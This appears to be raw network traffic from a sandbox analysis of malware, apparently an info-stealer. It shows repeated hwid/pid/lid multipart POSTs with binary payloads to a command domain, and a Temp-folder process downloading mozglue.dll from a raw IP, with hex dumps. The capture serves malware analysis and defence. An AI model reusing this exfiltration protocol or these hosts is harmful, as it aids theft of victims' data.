44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:34 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-24 11:43:35 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9mst923c0ittfde41fhmn91lsd; expires=Tue, 17-Sep-2024 05:30:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HqDzVQSv5S0XU89LmKnu1ZrD8WOqlWWLopk%2FQ3lVkaEZDXU2thFAL89lG0w4L4N9X8J5PjxXBvaOs9yyEwCSA5bF13b2UQ%2F%2Bjm4KdBXQz6QOGgP5%2BYx9LfhhQipcae87pj%2B4pBUyiVbDZQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07634fc5440e-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	63757	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:34 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13630 Host: employhabragaomlsp.shop
2024-05-24 11:43:34 UTC	13630	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:35 UTC	808	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ju7iv3b2u008ko8arcjor8k1od; expires=Tue, 17-Sep-2024 05:30:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SARGASbhjci4hLwwgUofkzUCj6tz0520yzGWtj%2BB9mpsaLW8ZQOJ4J1XdmgBI3tdujnO7GrTFMvDakNrKxNpvtXzxAxudkpRgGcpZ8llVdG7a6lcweN0aCpNLeeDAFwVDhUSwMNn1xYBQg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07635ec45e61-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	63758	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:35 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1414 Host: employhabragaomlsp.shop
2024-05-24 11:43:35 UTC	1414	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:35 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6qodhvo3cnp06it4kg6v8k9at0; expires=Tue, 17-Sep-2024 05:30:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xu2WkPXB14ikiymlzYHt2XlbMJ9x7tVJHRTEE7fVGJt3C3LsIFuEOHuMr7i5ejrDYq5%2FsrzHRUKdv8bNcLYgqarvVKYr%2BgwFof1BCGPysMVU%2BGyfagMWsv8FS1lNtorEx6lGi%2BozVoi19g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07671f7241e3-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	63759	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:35 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 11:43:35 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:35 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-24 11:43:36 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2t2pj2e8nm05qqie157jq2didf; expires=Tue, 17-Sep-2024 05:30:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lxU%2F2yWqEfqs7BzbAXGmPgFE29j3Ak%2F6jxTHLIdNWupa0Pq6N4HTL4gPXLvHsVlF1KFMQUAZUGTrS0o73Rfuz741lN%2BFZmstumDo7ub4ylk1Nxmw2pwLbnFt%2F3xQXXYMai2wzM1KhwVndA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d076729aa19cb-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	63760	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:36 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 11:43:36 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:36 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-24 11:43:36 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eapn5vu7cd72kfo99p9p1fi20n; expires=Tue, 17-Sep-2024 05:30:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3WjCUZqGxAwzsjFkLwWViSsmR8oM%2Bqo2YLzfoOlNCH3IohQL1Ja0X%2FJYF%2BzeBFaMrdcyCWBjjhjm54jjiqfx7NBYtPVOLz66xpnezPMVKrIVNEsYQeGNL%2BgIQ3upUkjpRNHxmEjt68V%2BZg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d076a9ccd4406-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	63762	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:36 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5433 Host: employhabragaomlsp.shop
2024-05-24 11:43:36 UTC	5433	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:36 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=olsfghteak4p7lcpjpbvcq0fj6; expires=Tue, 17-Sep-2024 05:30:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hJ7HSyg5%2FPy3eGPgIhM6LnukRzmT%2Bc5p8gtqpkETHqwZMHkRC2%2FWJ9UjBDsXcZ7n%2F0xv4Nepkvq5Sp1bgKIA2xVIN0WgscO1bjFq9JuRhkrG445PU5IS9KxQLTS1m5lY50UNaMU9t3spUg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d076d5ae042b2-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	63761	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:36 UTC	173	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Cache-Control: no-cache
2024-05-24 11:43:37 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:36 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-94750" Accept-Ranges: bytes
2024-05-24 11:43:37 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-05-24 11:43:37 UTC	16384	IN	Data Raw: ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 00 c7 46 4c 00 00 00 00 c7 46 50 0f 00 00 00 c6 46 Data Ascii: A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNPFLFPF
2024-05-24 11:43:37 UTC	16384	IN	Data Raw: 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d 3c ff ff ff 56 e8 de bc ff ff 89 f1 89 fa e8 d5 f1 Data Ascii: PzEPWxP1`PHP$,FM1R'^_[]00L9tc<V
2024-05-24 11:43:37 UTC	16384	IN	Data Raw: 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 b9 1f 85 eb 51 89 f0 f7 e1 89 d1 c1 e9 05 89 c8 ba Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}LQ
2024-05-24 11:43:37 UTC	16384	IN	Data Raw: 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 89 06 8b 45 ec 89 46 08 e9 8b fe ff ff 68 a7 fa 07 Data Ascii: 